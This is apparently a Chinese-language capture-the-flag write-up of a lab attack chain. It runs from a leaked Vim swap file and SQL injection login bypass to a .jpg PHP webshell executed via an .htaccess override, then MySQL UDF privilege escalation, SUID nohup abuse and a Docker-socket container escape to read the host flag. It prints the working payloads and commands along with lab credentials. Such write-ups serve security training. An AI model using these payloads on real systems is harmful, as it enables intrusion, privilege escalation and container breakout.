信息收集 → 敏感文件泄露 → SQL注入绕过登录 → 文件上传+.htaccess解析绕过 → Webshell获取 → 数据库凭据泄露获取flag1 → 容器环境识别 → MySQL UDF提权 → 系统级flag获取 → Docker Socket逃逸 → 宿主机flag获取

一、信息收集

网段扫描与漏洞探测

ScreenShot_2026-03-27_103908_385.png
ScreenShot_2026-03-27_104015_560.png

dirsearch 扫出敏感文件 .index.php.swp(Vim异常关闭产生的交换文件),通过访问获取源码

ScreenShot_2026-03-27_111248_672.png

源码审计与SQL注入利用

ScreenShot_2026-03-27_111837_647.png


源码显示登录功能直接拼接SQL语句:

$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

使用用户名 admin'-- 密码随意,绕过登录验证,成功进入后台。

ScreenShot_2026-03-27_111617_624.png
ScreenShot_2026-03-27_111640_924.png

二、Web端漏洞利用

文件上传与解析绕过
后台功能为文件上传,路径为 /uploads/
直接上传一句话木马 .php 文件被禁止,不支持 .php 格式但可以上传 .jpg 格式的图片木马然后通过Apache特性上传 .htaccess 文件,配置:将 .jpg 格式的木马当成 .php 执行

.htaccess 文件

<FilesMatch "shell">
    SetHandler application/x-httpd-php
</FilesMatch>

图片马 shell.jpg

GIF89a;
<?php eval($_POST['cmd']); ?>

将 shell.jpg 和 .htaccess 通过文件上传到服务器后,成功获得 webshell

环境信息收集与容器识别
通过Webshell执行 env 获取数据库凭据(root/Kp7mXz2wRN9sLqDf)。

ScreenShot_2026-03-27_113928_416.png


查看根目录存在 .dockerenv 文件,确认处于Docker容器中。

ScreenShot_2026-03-27_114131_516.png

三、数据库深入利用(获取flag1)

使用获取的凭据登录MySQL:

mysql -h 192.168.105.105 -u root -pKp7mXz2wRN9sLqDf --skip-ssl

mirror_shop 库的 users 表中获取 flag1d4e7a2c9f185b3064c9d8e1f72b5a6d3

ScreenShot_2026-03-27_113332_830.png

四、UDF提权与系统flag获取(flag2)

检查写文件权限
SELECT @@secure_file_priv; 返回空,说明具备写权限。

部署UDF提权
使用sqlmap提供的64位UDF库,通过十六进制方式写入MySQL插件目录:

SELECT UNHEX('...') INTO DUMPFILE '/usr/lib64/mysql/plugin/lib_mysqludf_sys_64.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys_64.so';

查找并读取flag2
利用 sys_eval 执行系统命令:
find / -name "*flag*" 发现根目录存在flag文件。
通过SUID文件 /usr/bin/nohup 执行:

ScreenShot_2026-03-27_114848_690.png

SELECT sys_eval('/usr/bin/nohup cat /flag'); 获取 flag28f3c1b7e2d964a05e7b9d4c6f1a83e52

ScreenShot_2026-03-27_114722_375.png

五、Docker逃逸获取宿主机flag(flag3)

检查容器特权状态
capsh --printfdisk -l 显示非特权容器,但发现 /run/docker.sock 存在且权限允许写入。

通过Docker API创建临时容器
利用Docker Socket挂载宿主机根目录到临时容器,搜索flag:

{
  "Image": "mysql:5.7",
  "Cmd": ["find", "/host", "-name", "*flag*"],
  "HostConfig": {"Binds": ["/:/host"]}
}

成功定位到 /host/flag 即为宿主机flag。

读取flag3
修改Payload为 "Cmd": ["cat", "/host/flag"] 重新创建容器并执行,获取 flag3c2d5e8f1a3b76049d8e1c4b7f2a95d63

ScreenShot_2026-03-27_115213_310.png